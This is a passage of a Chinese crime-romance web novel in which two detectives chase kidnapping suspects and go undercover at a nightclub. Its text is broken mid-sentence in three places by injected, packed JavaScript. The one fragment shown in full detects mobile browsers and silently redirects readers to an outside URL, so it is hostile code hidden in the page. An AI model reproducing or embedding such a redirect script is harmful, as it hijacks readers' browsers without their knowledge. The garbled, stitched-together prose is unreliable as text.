“这样重要的线索第一次调查时为什么会遗漏?”尚涛凝重道,“让李绍星再来一趟。” 温赛飞立刻拨打李绍星的号码,果不其然,关机了。 尚涛立刻上报,将庞东洋和李绍星被锁定成朱子白绑架案嫌犯,立刻进行全城搜捕。他宣布今晚蹲守锦泰城的人马暂时下班休息,其余空闲警力补上。 花雨剑给马霜痕比了大拇哥,“我徒弟真赞。” 马霜痕极度缺觉,两眼昏花,除了体力尚可撑住,没想出自己哪里闪光。 花雨剑悄悄说:“要不是你追问朱承育的男女问题,这案子哪来峰回路转。” 马霜痕耸耸肩,无所谓道:“我原以为是情仇,结果好像不对,瞎猫碰上死耗子而已。我觉得大家应该都想到了,只是懒得说。” “办案可不能懒,再无聊的疑点都可能成为转折点。蒙大利就是瞎猫碰上死耗子,耗子是你打死的,他躺平当了一回猫。” 花雨剑亲切地拍拍她右肩,“保持初心,你一定能成为一个好刑警。” “嘿嘿,名师出高徒。” 师慈徒孝的画面落幕,马霜痕拍拍自己右肩,体会一把,果然师父和自己拍肩只有肉动,没有心动。 马霜痕没有申请宿舍,准备打车回家眯一会。刚出到大院,围墙边的丰田大灯闪了闪,眨眼似的。 不,说抛媚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还行,”温赛飞大发善心似的,没损她,“比你那个忘记拔掉钥匙被偷车的师父好点。” 生活可以不拘小节,关键时刻不能掉链子。 “就当你是夸我了。”马霜痕笑着拜拜,转身踢踏脚步,甩着袋子哼着歌。 温赛飞多看了一会。 也就走出不到十米,马霜痕突然跑回来。 他叹气,“又落下什么了,大头虾?” “今早走得急,钥匙落在家里,连个开门的人都没有……” 马霜痕皱皱鼻子,拧不紧那股酸涩感。 温赛飞刚想问她要不要去酒店开间房,她摸摸鼻尖,自我消化了情绪,多余地叫了一声小飞哥。 “嗯。”他在听。 马霜痕本想问他有没有开锁的微信,大晚上老破小物业服务可能跟不上,还得他这个行家推荐。忽地想起他花名的典故,脑子一拐,问出口:“小飞哥,你会开锁吗?” 5. 第 5 章 上个世纪九十年代的步梯房一梯两户,温赛飞跟马霜痕爬上四楼,短短一天,防盗门窗格又塞满了各种传单,菜单、医保提现、祖传神药等等,马霜痕一把抽过卷成筒,临时塞进装鞋裤的袋子。 温赛飞眼神评估老式门锁,“你男朋友不能过来开门?” 马霜痕担忧,“是不是这种锁太难开?” 温赛飞换个问法,“你男朋友没有备用钥匙?” 马霜痕迷糊:“他为什么有备用钥匙?” 驴唇不对马嘴,全无默契。 温赛飞单刀直入,“你一个人住?” 马霜痕点头,“以前小学住这里,离学校比较近。” 以彭家以前的财力,在海城任何一处置业都不是大问题。 温赛飞眼神点了下马霜痕的鬓边,“发夹给我,两个。” 马霜痕别的是最简单的黑色一字夹,全给盖在毛线帽里,温赛飞不说她都忘了。 两个发夹差不多掰直,在铁门上拗出短短的弯钩尖尖,温赛飞单膝跪着,一上一下插进锁眼里捣弄。 一道强光亮起,闪瞎他双眼,是马霜痕在旁贴心打手机电筒,背光处双目炯炯。 温赛飞顿住,“想偷师?” 马霜痕的脸超过他们理智时的最短距离,呼吸咫尺可闻,兰香淡淡袅袅。 “学习学习,万一以后还要开,小飞哥,你能不能教教我?”口吻单纯而认真。 温赛飞:“关了。” 马霜痕:“不用照着?” 温赛飞:“你看谁这样开门还打灯?” 马霜痕噗嗤一笑,听令关灯,“小飞哥,幸好你是盟友,不是敌手,不然也太可怕了。” 温赛飞毫不介意道:“碰上我这样的,你一个月都别想回家。” 走廊灯昏淡,掩盖了他们部分表情,马霜痕也不敢开太久电筒,温赛飞的侧脸比丰田后视镜里来得更为清晰与立体,尤其占据主体地位的鼻子,曲线优越,尤为夺睛,就算单纯欣赏,没人舍得不看第二眼。 温赛飞两根铁签掏弄着,马霜痕听安排副手,不断试着拧把手,动静不算大,但足以给失眠的人多添几分烦躁。 没多一会儿,吱呀一声,门开了。 是对门的。 青松苑的老街坊七七八八搬走了,房子大多租给外地求医的病人家属,通常几家合租一户分摊租金。 陌生大叔胡子拉碴,披着棉衣,隔着防盗门,用带着外地口音的普通话骂:“大晚上你们干啥子,再吵我报警了?” 骂完直接甩门,震天一响久久不息,两位警官面面相觑。 “别管他。”温赛飞继续捣弄。 马霜痕忍俊不禁,“万一片警真上门……” 温赛飞冷不丁扔出两个字,“时间。” 马霜痕的工作魂附体,马上读表,“2点35分。” “一会你看他们出警及不及时。” 温赛飞的一本正经有种苦中作乐的诙谐感,实属抗疲劳良药。 话毕,咔的一声,马霜痕拧动了把手,“小飞哥,开了?!你是真的神!” 温赛飞松一口气起身,拔.出两根废发夹,脚卡着门缝,免得一不小心前功尽弃。 “这种老式锁防君子不防小人,最好换个指纹锁,别又成大头虾。” 马霜痕灵醒拿走他手中垃圾,“回头一定换。” 里层门没锁,往里开,小厅布置一目了然,比起宿舍更像客栈。 可能她还有其他落脚点,温赛飞不作多想,“走了。” 马霜痕笑嘻嘻摇手,“谢谢小飞哥,我就说你是一个好警察,改天赏脸让我请你吃饭啊。” 又吃了一张好人卡的温赛飞慢悠悠下楼梯,转了弯没听见大头虾的声音,才提了点速。 再过两三个小时,各家厨房会传来各种声响,剁菜,高压锅呲呲冒气,或者不小心打碎了碗。 马霜痕失眠时经常偷听,想象别人有奔头的生活,她无所事事,好像一个孤独的异类,就像此刻本该在阳台收衣服,却往下张望。 移动的黑影伴随星点亮光,温赛飞在处理手机上的事。 马霜痕的手机旋即亮起,屏幕显示Safari的语音电话,头像也是浏览器图标。 温赛飞的口吻异常凝重,半点没有逮捕嫌犯的惊喜,“李绍星落网了。” 朱子白绑架案案发第二日,凌晨2点45分,全城协查通告发出近4小时,李绍星在海城唯一一个24小时通关口岸落网。 连夜赶着出境,说明绑架案出现不可逆的升级,人质凶多吉少。 口岸派出所民警惯例问,知道为什么叫你来吗。 李绍星不愧为阿斗转世,没见过大场面,立刻招了,“人不是我绑的,也不是我杀的。” 温赛飞载着马霜痕直奔口岸派出所领人,绑架案升级成命案,他们像注入一剂肾上腺素,睡意烟消云散。 据李绍星称,绑架案是朱子白自导自演,目的就是哄他老子给钱。 此话一出,在场没一个警察相信。 温赛飞冷冷嘲讽,“你的意思是他自己杀了自己?” 李绍星说:“庞东洋杀的朱子白。” 温赛飞凶巴巴问:“既然你说绑架案不是你做的,人不是你杀的,你连夜跑什么跑?” 李绍星嗫嚅,难以跟绑架嫌犯联系到一起,“人死了谁不怕啊?” 花雨剑唱白脸,“别哭啊,好好说说,你、朱子白、朱东洋怎么认识的?” 昔日搭档的双簧起效,李绍星倒豆子般敞开来说。 李绍星打台球认识的朱子白,两人家境相仿,臭味相投,很快玩到一块。朱子白18岁生日,李绍星在水色他乡为他庆生,从此打开新世纪大门,纵|情声色,欲壑难填。短短三个月,肾没虚,钱包先虚了,败光多年的压岁钱。 朱子白没有戒断能力,也根本不想戒。网贷只是拆东墙补西墙,终归不长久。 于是朱子白想跟李绍星合伙开台球店,包赚的。 花雨剑问:“台球店能挣几个钱啊?” “正经台球店当然挣不了几个钱,都不够玩几次水色他乡。要是加上助教服务那就不一样了。”李绍星这位创业败将说得头头是道,台球助教就是小姐的变体,嫖客穷了也想当鸡头,割其他嫖客的白菜。 朱子白和李绍星每次去水色他乡都是庞东洋接待,他生得人高马大,既是保安也是半个鸡头。庞东洋赌债缠身,想着早日翻身,一听台球店的创业策划也跃跃欲试。他投不了资金,可以投资源,他可以介绍小姐过来兼职,从中收取一点回扣。 台球店一事,朱承育当然一口拒绝,让朱子白好好读书,横竖考个大专,考不上就买个野鸡大学读一读。当爹的知道儿子尿性,多在学校关几年,社会大染缸能晚浸染几年就几年。 朱子白走投无路,冒出绑架自己勒索老爹的馊主意,而且说他爹有囤现金的习惯,家里起码藏了200万,应该会痛快给钱,不会报警,毕竟当爹的经常说“能用钱解决的问题就不是问题”。 温赛飞提醒,“听起来,开台球店是朱子白的主意,绑架自己也是朱子白的主意,你在这案子里面到底干了什么?” 李绍星哀嚎,“我就是什么也没干啊!” 温赛飞冷笑,“挺无辜啊,我们抓错人了,是吧?” 李绍星嘴角战栗,继续编故事。 案发前一晚,朱子白和李绍星在奶茶店分开后,自己走向那段没有监控的车道,没有借助任何交通工具,翻过护栏,从荒地绕到外面车道,再搭上庞东洋的二手五菱宏光。 当晚下雨,冲掉荒地里本就不明显的痕迹,由是马霜痕和花雨剑搜寻一遍一无所获。 “之后的事我没参与,就不清楚了。” 李绍星蔫头蔫脑,“我只负责呆在家里,看你们会不会找上门。要是朱子白他爹报警,就赶紧停止计划,让朱子白好好跟他爸认个错。” 在场警察听了气不打一处出,花雨剑的白脸也唱不下去,“你脖子上挂的是地球还是脑袋,含水量那么高,你以为不用蹲监,只是认个错的事?” 按李绍星的说法,他跟庞东洋汇报警察上门一事没多久,便收到庞东洋回电。 “出大事了,朱子白没了。” 李绍星还问,朱子白没了什么意思。 庞东洋说,就是没了,赶紧跑吧。 然后李绍星赶紧收拾东西跑路。 温赛飞立刻问:“庞东洋什么时候给你电话,上午还是下午?” 李绍星犹豫,“下午。” 温赛飞立刻拆穿他的逻辑漏洞,“我们的同事早上9点找你,你说‘没多久’庞东洋回电说朱子白没了,早上9点到下午这段时间叫‘没多久’?” 李绍星想挠脑袋,两手铐在桌板,低头都费劲,尴尬又烦躁,“我有点忘了。” “就算庞东洋下午6点才回电,”温赛飞继续说,“晚上6小时加凌晨3小时,起码9个小时的时间,你干什么去了,我看你带的行李也不多。” 李绍星扯扯嘴角,“总要跟家人和亲朋好友告个别。” 温赛飞:“以前很难见到了,再办几桌酒席,隆重欢送一下。” 李绍星:“……” 温赛飞简要跟尚涛总结,“李绍星明显在撒谎,先晾他一晾,领回队里继续审,目前要尽快找到另外两个人。朱承育那边——” 尚涛拍拍温赛飞的肩,“朱承育和上面我来对接,你把剩下的事做好。” 温赛飞办理移交手续时,李绍星双手捂脸,懊恼咬牙,“海城跟港岛就隔了一条河,早知道我就游过去了,通什么关啊!” 是的,每一个嫌犯落网时,都懊悔不够谨慎才被抓,而不是做了错事。 李绍星想抽自己的榆木脑袋,玫瑰金铐着,双手联动,模样滑稽。 口岸派出所的民警骂道:“你还想游过去,电影看多了衰仔,当我们海警混饭吃的啊?” 李绍星又吸鼻子,“其实我本来想早上再走,早高峰跨境通勤的、跨境学童那么多,浑水摸鱼就过去了吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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马霜痕像个好学生一样有问有答,“水色他乡的经营内容比较敏感,我们已经往店里找了两次人,他们如果真藏着秘密,早该‘醒’了,哪怕再把人请来喝茶,恐怕很难再问出想要的东西。” 温赛飞不置可否。 “那朱子白呢?” 马霜痕:“警方办案讲究证据,活要见人,死要见尸。” 温赛飞听了一笑,“我问你看法,不是叫你开记者发布会。” 马霜痕还是不敢托大,“我觉得,他遇到大麻烦了。” “刑警办案不能靠直觉,但刑警要有刑警的直觉。” 温赛飞往烟灰缸掐了烟头,“叫你师父来四楼会议室开会。” 马霜痕屁颠颠跟上几步,喜道:“小飞哥,你是说我已经具备一个刑警的直觉了吗?” 温赛飞瞥她一眼,像在说“你可真能想”。 刚被夸完不久,马霜痕又闹了一个乌龙。她只把花雨剑叫四楼,自己没上,只得花雨剑反过来召唤她,师徒俩都是糊涂蛋。 “我以为大佬开会,轮不到我这种小虾米。”马霜痕讪讪落座,是的,这回有座位了,也差不多是大佬,人就没几个。 温赛飞作开场白,“朱子白绑架案的另一嫌犯庞东洋,根据交警天眼反馈回来的线索,昨天下午1点已离开海城,目前行踪不明。 “庞东洋说得好听是保安,出了水色他乡,就是一烂仔。一个烂仔通常罩着至少一个小姐,反过来说,小姐想在这一行立足,必须找到一个烂仔当靠山。庞秋怡突然失去庇护,不可能像她嘴上说的不在意,她大可能会私下联系庞东洋,让他安排其他人来接替靠山的位置。” 尚涛首肯道:“现在暂时不清楚庞秋怡在绑架案中的参与程度,除了天眼追踪,还需要蹲点盯着庞秋怡。” 花雨剑预想到没日没夜的盯梢,提前打了一个长长的哈欠。 尚涛继续说:“以水色他乡为分界线,分为内外两个监视小组。捞剑和大利一组,庞秋怡离开水色他乡后,由你们负责盯梢。” “明白。”花雨剑点头如瞌睡,习以为常的领导对其很放心。 蒙大利欲言又止。 尚涛:“水色他乡内部环境复杂,贴身跟踪风险大,任务比较重大,也比较特殊。庞秋怡进入水色他乡之后,包括在上班和宿舍休息,小马,你听你的小飞哥安排。” 马霜痕双眼瞪得圆溜,不可思议看向温赛飞,这就是她必须出席的原因? 温赛飞没像上次一样当面嫌弃,不知是不是有了甩不掉她就放弃挣扎的觉悟。 蒙大利高抬手发言,“涛哥,水色他乡不是一般的娱乐场所,小马一个女孩子在里面比较危险,也许我跟小飞哥一起去比较合适。” 马霜痕也当仁不让,立刻反驳:“大利哥,我不仅是女的,还是个警察。涛哥和小飞哥觉得我可以,我也不想辜负他们的信任。” 尚涛说:“大利,这次目标对象是女性,还真的我们女同志上比较合适。” 马霜痕猛点头。 温赛飞依旧一副嫌弃的口吻,“知道要你干什么吗,问都不问就要去,别人卖了都不知道。” 蒙大利一个一杠二的刑警,被一个一杠一都没有的新警当中反驳,面子哪里挂得住,脸上一阵红一阵白。尤其温赛飞变相护犊,蒙大利说不嫉妒是不可能的。 马霜痕就当温赛飞放屁,“保安,收银,调酒,甚至当保洁扫厕所等等等等,什么都行,总不会让我去陪酒吧?” 尚涛似笑非笑,“小马,又让你去当小飞哥的女朋友行吗?” 6.第 6 章 马霜痕被安排去水色他乡应聘公主,包房内的服务员,而陪酒小姐叫公关。有些场子的公主就指陪酒小姐,水色他乡特地做了区分的,直接体现在招聘启事上。公主月薪五六千,公关五位数起步。 温赛飞去应聘保安,说白了就是打手。风月场灯红酒绿,鱼龙混杂,人人在酒精下变身恶魔,经常会出现各种摩擦和事故。 花雨剑像刑警大队的算命先生,给他们起了假名,唐冰龙和冯小南。 单位在盐山区龙口南路,盐山的反面是糖水,姓氏取唐和水。水姓相对罕见,所以小马趟浑水就成了冯。 “冰是温的反面。”花雨剑说。 “不是凉吗?”马霜痕下意识说。 “肯定不能凉,你们要平安归队。” 多亏花雨剑一番注解,两个抽象的名字多了意义,也有了感情。 花雨剑说是证婚人也没错,马霜痕和温赛飞这一回扮的还是情侣,休整准备一天,明晚出发。 温赛飞回市一医院办理出院手续,顺便到护理部主任办公室坐一坐。 “哟,今天吹的什么风把我们的小飞哥吹来了?”柳英眉回到办公室,就看到她的办公椅被鸠占鹊巢。 温赛飞支着长腿转了半圈,起身让位,把他妈让进来,“顺道来跟柳主任汇报一声,未来一个月可能回不了家。” 柳英眉习以为常,工作狂都是遗传病,从来劝不住,“你可是刚出院,悠着点儿。” 温赛飞:“又不是打打杀杀。” 柳英眉低头从眼睛上方瞧他,哪个护士看到这个眼神都会瑟缩。 “下次回家两个人还是三个人?” 温赛飞告饶道:“那晚的是同事,盯梢打掩护。” 柳英眉:“哪天啊,我就怕看错。” 温赛飞自忖越描越黑,索性闭嘴。 柳英眉兴致不减,“他们说小飞哥有女朋友,我还不信,我说是我认识的小飞哥吗?我们一个护士长说,就是你的儿子小飞哥。我说是就好咯,铁树开花都比他快,等他结婚我就退休帮他带孩子。那些小护士一听凶巴巴的柳主任终于要退休了,一个个偷着乐呢。” 当上刑警的这些年,温赛飞为了破案把人生大事都耽误了,都有风传不破嘉禾路的杀人焚尸案他就不谈恋爱,虽然有夸张的成分,当母亲的哪坐得住。柳英眉好不容易听到八卦,铁定要逮住机会,该打听打听,该催促催促。 “那要对不住她们,苦日子还得继续熬。” 温赛飞并无歉意。 柳英眉试探,“那晚我看个头起码有一米七,是技术中队的陈法医?” 温赛飞随口纠正,“比忠钰还高一点。” 办公室安静几秒,柳英眉忽然笑吟吟扶正眼镜,“个头和样貌都长得挺好。” 堂堂重案队中队长马失前蹄,后知后觉着了他母亲的道,又不是真女友,瞎解释什么。 姜果然还是老的辣。 温赛飞拿她没办法,谁叫柳女士在单位和家里都是霸王,“别人有对象,就在你们医院。流言止于智者。” 柳英眉扯过一张打印废纸,按开蓝黑笔,准备做笔记似的,“哪个科室的,叫什么名字?” 温赛飞把出院资料的文件袋扔她桌面,“帮我带回家,走了。” “男未婚女未嫁,事在人为啊小飞哥。” 柳英眉掏出手机,准备发动她的八卦网络打听哪个男医生的对象跟她儿子同一个单位。 - 温赛飞和马霜痕定位是外来务工的小情侣,全身上下换了相对廉价的行头——马霜痕像换了一个头,接了一头大波浪假发,妆容多了几分艳俗,少了几分清丽,还不如不化。 温赛飞打量她就一个意思:至于吗。 马霜痕扑闪着浓厚的假睫毛,能赶苍蝇似的,“我怕他们抓我去陪酒。” 温赛飞嫌弃地揪掉袖口的一根线头,“你还挺有自知之明。” “你在夸我漂亮吗?” 马霜痕大抵从小被夸到大,对自己的美貌一向不谦虚。 温赛飞避而不答,“要是他们真的抓你去陪酒,你怎么办?” 马霜痕笑嘻嘻,“帅哥的话,可以考虑一下。” “哎哟——”马霜痕表情瞬息万变,胳膊给扯了一下,虽然隔着外套,教训力度并不小。 温赛飞目光犀利,第一次在她面前摆出领导的样子。 马霜痕识趣收敛,“小飞哥,你放心吧,我不会做背叛组织的事。” 温赛飞满意了,按下这茬,又有了新的计较,“你刚才叫我什么?” 马霜痕拉拉毛线帽,遮住大头虾的红耳朵,“唔,你不是小飞哥,你是——” 唐冰龙,还没正式投入使用的名字没有实感,总归有点拗口。 温赛飞像个面无表情的面试官,“我是谁?” “男朋友,”马霜痕择了一个安全而笼统的答案,“冯小南的男朋友。” 气氛莫名微妙,她的找补火上添油,每一次非特殊场合的强调,马霜痕和温赛飞好像把恋爱谈成了一半。 马霜痕只好反将一军,“别光说我,万一富婆找你陪酒呢?” 温赛飞好像真思考了一秒,“我妈又不喝酒。” “……” 马霜痕铩羽而归。 冯小南的身份证递出去,鸡头的目光在马霜痕和证件间来回,语气很诚恳,“妹子,这年头证件照拍得漂亮才是真美女。你这条件当公主可惜了,累死累活才五六千死工资。听哥一句劝,去当公关吧,一个月一万打底,运气好了当富太太一辈子不愁吃喝,运气一般一年就能在老家建一幢小别墅。当公主一年才挣到公关一个月的钱。” “不行,”马霜痕认真摇头,“我男朋友知道会打断我的腿。” 鸡头不以为然,“这还不简单,咱们不让他知道不就行了。他只是你的男朋友,又不是你老公。再说,我们这里有老公的公关可不是没有。” “她们老公不在店里,当然不知道。我老公,不是,我男朋友就在水色他乡,保安队那边的。” 马霜痕磕绊着完成任务一,在水色他乡公开冯小南和唐冰龙的关系。 鸡头撞了南墙,暂时搁置,“妹子,哪天你想通了随时来找哥,只要有哥在,准保你上房率杠杠的。” 这一行本质也是商品销售,不过卖的是擦边服务。没人订房的公关就跟冷宫妃子似的,换不来经济效益,迟早被淘汰。公主类似。 “如果能跟气氛比较嗨的房,说不定哪天我就开窍了。希望经理多多安排呀。”马霜痕指缝夹着几张折叠的红爷爷,夹着嗓音,要跟鸡头握手。 鸡头挤眉弄眼一笑,握手顺走了现金,“合作愉快,我就喜欢你这样有上进心的妹子。” 营业时间的关系,水色他乡给员工提供了集体宿舍,跟场子同一栋楼,再楼上便是酒店,方便客人升级服务。宿舍有专人打扫清理,公关因喝酒住单人间,其他人多人一间。 马霜痕分到八人间,环境比一般大学宿舍稍差。 她简单收拾行李时,有个室友搭话,“听说你男朋友也在这当保安?” 娱乐场所最不缺八卦,和同事苟且,和客人勾搭,灯红酒绿的阴湿之地,成为谣言的最佳温床。 “是啊,”马霜痕可以比她更自来熟,“你见过他了吗,叫唐冰龙。” “还没,听说挺帅的。” 马霜痕故作谦虚,“还行,看多了就那样。” 室友啧啧两声,“你们结婚了吗,转正后已婚的可以申请一起住单间。” 马霜痕的屁话信手拈来,“攒够钱就回老家结。” 室友:“你们在外面还租房吗?” 马霜痕奇了,“这不是有地方住吗?” “你们岂不是每个月要花一笔钱在酒店上?” 能在娱乐场所立足的果然不是普通人,就连普通服务员,一晚上看到的光怪陆离比普通人一辈子还要丰富。男女之事在他们眼里跟点外卖一样简单,没必要隐晦与忌讳。 其他路过的室友也笑了笑,见怪不怪,没有大学寝室谈论恋爱话题一般兴奋。 马霜痕入乡随俗,胡诌道:“这不挺好,每次都有新鲜感。” 她的屁话对味了,几个室友哈哈大笑,人际距离瞬间缩小。 夜色渐浓,水色他乡即将营业。 马霜痕扎起临时大波浪,换上正儿八经的衬衫西裤。刚出宿舍,传说中的男朋友迎面而来。她愣了愣,刚才屁话里的男主角突然有了实体,像背后嚼舌根被抓包,有点尴尬。 温赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598938|143157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞露出一个疑惑的眼神,难得关切,无声问:怎么了? 马霜痕摇头,低声说走吧。 “冯小南。”前头搭话的室友们匆匆路过,回头打量一眼男主角,不等马霜痕反应,又嘻嘻走了。 “别人在叫你。”温赛飞怕她状况外,提醒一句。 “别人在看你。”马霜痕揶揄坏笑,手肘轻轻怼了下他胳膊。 温赛飞不为所动,仍是冷着脸,对时而迷糊的小师妹不太放心,“做事谨慎一点,有什么事呼我。” 水色他乡的包厢名字取自词牌名,按消费等级分为三等,划分规则简单粗暴,词牌名字数越多,等级越高,比如瑶花<><> 马霜痕暂时分到一间“双双燕”,跟着一位“老公主”学习。庞秋怡也属于这一档的公关,25岁的年龄在社会上仍属年轻,在夜场已经走下坡路,多年熬夜和酒精摧残,跑再多美容院和整形医院都难以补救。 晚上不到十点,客人从其他饭局出来,来水色他乡赶第二场。客人为男客居多,充斥着酒气、烟味和脏话,双眼迸发猎色的兴奋。女客少之又少,来的也大多是作陪的秘书,安排好一切就离场,免得影响男人纵情。 灯光昏暗,旋律摇曳,马霜痕她们迎来一个四人组的客人。 这一组四眼没有土老板一样腰圆肚凸,没有吆三喝四,斯斯文文一看就是高学历。年龄在25岁到35岁之间,要不刚出社会来见识灯红酒绿,要不厌倦婚姻出来找乐子。老嫖虫带动小嫖虫,秘密互相掩护,风俗代代相传。 队尾最年轻的男人最为拘束,耷拉脑袋,不敢打量,偶尔张望的一两眼不掩好奇又满是闪烁。不知喝蔫了还是太紧张,竟然没认出领他们进包厢的马霜痕。 卧底第一天,马霜痕五味杂陈。 嫌犯没逮到,先逮到自家对象。 客人入座,公主开始端果盘伺候。鸡头此时领着一排浓妆艳抹的陪酒小姐入场,开始选妃环节。小姐们要不裙摆飘逸,要不热裤齐根,穿黑衣的沟壑深深,穿白裙的红晕隐隐,优缺点一目了然,共同点是都没穿内|衣,方便客人上手。 她们逐个做简单自我介绍,声音也是服务品质的一部分。 鸡头热情推销,“各位老板,如果这里面没有满意的,我们继续上下一批,挑到满意为止。” 庞秋怡果然被留下,坐到年纪最大的男客身旁。 一连过了两批,韩弋不为所动,盯着门口待服务的马霜痕发呆,眼睛揉了又揉。 师兄调侃韩弋,“师弟第一次来,还没想好吗?我给你出个主意,你挑个跟你女朋友不一样的类型。” 其他师兄贱兮兮笑而不语。 韩弋失态喃喃,“我好像看见我女朋友了。” 师兄大笑,“那么多美女,你现在挑哪个当你女朋友都行。” 韩弋似乎没完全失智,突兀起身,“我先上个厕所。” 说罢,要往包厢外走。 师兄拉他不住,“包厢里面就有厕所,你去哪里?” 鸡头见多识广,没有为难韩弋,吩咐马霜痕领一下客人到公厕,免得迷路。 远离鸡窝,韩弋一声“珊珊”就要脱口,给马霜痕一记凌厉眼神堵回去。 拐进没有监控的厕所走廊,马霜痕觑着左右无人,关了对讲机,薅起韩弋衣领一把将他塞进旁边的打扫工具房,正要挤进去修理一下,背后炸开一道熟悉男声—— “什么情况?” 马霜痕吓一跳,反手带上工具房的门,左右打量暂时安全,没留意几乎扑到温赛飞胸膛。 她压低声:“帮我把风,就十分钟。” 温赛飞往她身后紧闭的工具房挑了下下巴,“里面是谁?” 马霜痕:“我男朋友。” 温赛飞皱了皱眉,眼神疑惑,以他现在的立场,应该在讲:不是我吗? 马霜痕急促道:“我让他快点走,不然影响我们。” 温赛飞也不时留意环境,低沉的声音压抑着情绪,“我把风,让你们叙旧?” 他的理智和修养硬生生把“偷情”一词换掉了。 “就五分钟。” 马霜痕双手合十,朝他一拜,不由分说又送他一张好人卡。 “世界上最好的——”小飞哥,她用口型说。 7.第 7 章 工具房门重新闭合,隔出一方逼仄而安全的空间,门外有重兵把手。 “珊珊——”韩弋刚吐出两个字,衣领再次给马霜痕薅住,指尖几乎戳到他的鼻尖。 “在外面别叫我名字。”马霜痕严厉警告,不由自主抡拳。 韩弋抬手格挡,想象中的铁拳并没落下,苦着脸哀求道:“他们拉我来的,说是换个地方唱歌,哪知道——珊、我真的是第一次来!” 如果他的女朋友是其他职业的普通女孩,说不定卖惨就生效了,可惜碰上刑警预备役。 马霜痕现在出拳铁定能打残他,冷笑:“每一个嫌犯没落网就觉得自己没做错,被抓都说自己是第一次。” 韩弋百口莫辩,“我也没点上……” 马霜痕:“我要是不在,你都摸上了。” 那双小鹿眼汪汪盈盈,以前装了多少无辜与单纯,现在就载了多少慌乱与无措。 每一个心性不坏的人踏出第一步都是愧疚感与新鲜感并存,然后新鲜感战胜愧疚感,有了第一次就有后面的无数次。 马霜痕的心揪成皱皱的一团,失望的不仅是他的行为,更在他的事后弥补。韩弋本来就不擅长漂亮话,全凭一副真心追求多年,才撼动了她的防卫。如今真心裂开一条岌岌可危的裂缝。 “对不起,我真的错了。” 韩弋的手盖上她的之前,马霜痕松开了。 马霜痕深深换一口气,空气不流通,窒息感侵袭身心,她越发疲惫。 笃笃笃。 外面敲门三声,不耐烦与警告共存。 五分钟快用完了。 马霜痕气不打一处来,仍留了情面,打他脸上的两巴掌只用了手背,警告多于泄愤。 “回去把半年内所有无删版账单发我邮箱,微信、支付宝、银行卡流水都要。我看情况要不要原谅你。你现在马上离开这里,我在这里没见过你,你在这里也没见过我。听明白了没?” 韩弋点头如捣蒜,岂会不珍惜一线生机。 马霜痕吩咐:“我先出去,你数到十自己走。” 笃笃。 马霜痕轻敲两下。 笃笃。 温赛飞回应同样的节奏,然后替她拉开门。 说来奇妙,他们没有排练过这一节,竟然莫名读懂了彼此的信号。 “搞定。” 马霜痕低声一句,情不自禁又双手合十,朝温赛飞佛了佛,当他是神圣的看门石狮。然后,打开对讲机,埋头溜之大吉。 韩弋心跳紊乱,起码平复了一分钟才抹着额角细汗走出工具房。 离开水色他乡的路比开始轻松,不能说没有失望,轻松定然比之更多。就连路上有个高大英俊的保安跟他点头致意,韩弋都忍不住多看两眼。纸醉金迷的水色他乡,果然连保安都是绝色。 马霜痕回到“双双燕”包厢,替韩弋传话,说他肚子不舒服回去了。 三个医生师兄直骂韩弋孬种,还怕被他的警察女友扫黄么。少一个人并不影响老螵虫们的兴致,各种大尺度毁三观的助兴游戏层出不穷。马霜痕总忍不住代入韩弋,心口堵着一团湿棉花,呕不出,咽不下。 凌晨两点,水色他乡进入打烊阶段。 这一群医生玩够了,没有邀请小姐们出去“吃宵夜”——就是升级全套服务的暗语,费用另算——一个个由小姐和鸡头搀扶着出去打车。也许回家闷头大睡,也许找个足疗店按摩第三只脚。 马霜痕收拾完包厢,下工已经凌晨三点。 宿舍区茶水间的破沙发上,有个人折叠了也藏不住腿长,路过的男男女女都忍不住多看两眼,女的垂涎,男的嫉妒。 马霜痕过去挨着温赛飞坐下,多少驱散了一些好奇的目光。 潜入水色他乡第一天,跟敌军还没建立信任感,除了刷新三观,收获寥寥,连哈欠也没有。 温赛飞示意不远处的饮料贩售机,“要喝点什么?” 马霜痕往靠背上支着脑袋,眼神交替落在温赛飞和贩售机之间,有些飘忽,“你问我?” 横竖温赛飞都算领导,大头虾何德何能让小飞哥伺候? 马霜痕打工魂觉醒,立刻坐直,“你要喝什么,我去买。” 温赛飞横她一眼,人高腿长,早走到半路。 哦,现在他的角色是她的男朋友。 “冰糖雪梨,谢谢。”马霜痕长长叹气,本来面对温赛飞就有些糊涂,时常理不清故友与领导的界限,现在又多一层假男友的身份,既要亲近又要疏远,魂魄快要有丝分裂了。 温赛飞扫了一瓶冰糖雪梨和一瓶茉莉绿茶,黄瓶子直接扔给她,小教训似的:“以后谢谢免了。” “好的,男朋友。”马霜痕近似自我催眠,早点进入角色,有谁家小情侣客客气气,又不是老外。 这么平白强调,反而更微妙。 马霜痕没敢看温赛飞,拧开瓶盖喝一口,掏出队里特配的手机,适应一下。 身旁沙发凹陷,温赛飞坐回原位,刚才她拿捏的距离,他依旧保持,不近不远。 屏幕上密密麻麻的表格,马霜痕打横了手机放大了逐项细看。韩弋并非全然无辜,刚才来水色他乡的打车费是他扫的。就算站到前台,四个人上万消费,早该醒悟不是普通KTV。一路过来,他有无数次机会拒绝,但他没有。 医生玩得花,马霜痕早有耳闻,只是低估了人性,高估了韩弋。 耳旁冷不丁飘来一句:“谁的账单?” 马霜痕扭头看向声源,眼神有点空洞。 温赛飞的目光落在她的脸上,那一瞬,仿佛放大了她的难堪。他识趣挪开眼,搭在膝头的手无奈拍了拍。 